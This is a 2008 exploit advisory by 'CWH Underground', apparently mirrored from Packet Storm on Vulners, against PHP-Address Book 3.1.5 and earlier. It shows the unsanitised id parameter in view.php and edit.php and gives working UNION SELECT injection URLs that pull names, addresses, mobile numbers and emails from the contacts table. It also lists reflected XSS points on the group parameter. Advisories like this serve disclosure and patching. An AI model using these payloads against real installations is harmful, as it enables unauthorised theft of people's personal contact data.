Lucene search
K

phpaddress-sqlxss.txt

🗓️ 05 Jun 2008 00:00:00Reported by CWH UndergroundType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

PHP-Address Book SQL Injection and XSS Exploi

Code
`============================================================  
PHP-Address Book (SQL/XSS) Multiple Remote Vulnerabilities  
============================================================  
  
,--^----------,--------,-----,-------^--,  
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..  
`+---------------------------^----------|  
`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
/ XXXXXX /  
(________(   
`------'  
  
AUTHOR : CWH Underground  
DATE : 4 June 2008  
SITE : www.citec.us  
  
  
#####################################################  
APPLICATION : PHP-Address Book  
VERSION : <= 3.1.5  
DOWNLOAD : http://sourceforge.net/projects/php-addressbook  
#####################################################  
  
---SQL Injection Exploit---  
  
##############################################  
Vulnerable: view.php  
  
6: if ($id) {  
7:  
8: $sql = "SELECT * FROM $base_from_where AND $table.id=$id";  
9: $result = mysql_query($sql, $db);  
10: $r = mysql_fetch_array($result);  
11:  
12: $resultsnumber = mysql_numrows($result);  
13: }  
  
###############################################  
  
Exploit:  
  
http://[target]/[path]/view.php?id=-1 union select 1,2,3,id,firstname,lastname,7,address,mobile,10,11,12,email,14 from addressbook/*  
  
  
##############################################  
Vulnerable: edit.php  
  
30: if(! $read_only)  
31: {  
32: $sql="SELECT * FROM $base_from_where AND $table.id=$id";  
33: $result = mysql_query($sql);  
34: $resultsnumber = mysql_numrows($result);  
  
###############################################  
  
Exploit:  
  
http://[target]/[path]/edit.php?id=-1 union select 1,2,3,id,firstname,lastname,7,address,mobile,10,11,12,email,14 from addressbook/*  
  
  
---Remote XSS Exploit---  
  
[+]/?group  
[+]/index.php  
  
  
Example:  
  
http://[target]/[path]/?group=<XSS>  
http://[target]/[path]/index.php?group=<XSS>  
  
  
##################################################################  
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #  
##################################################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation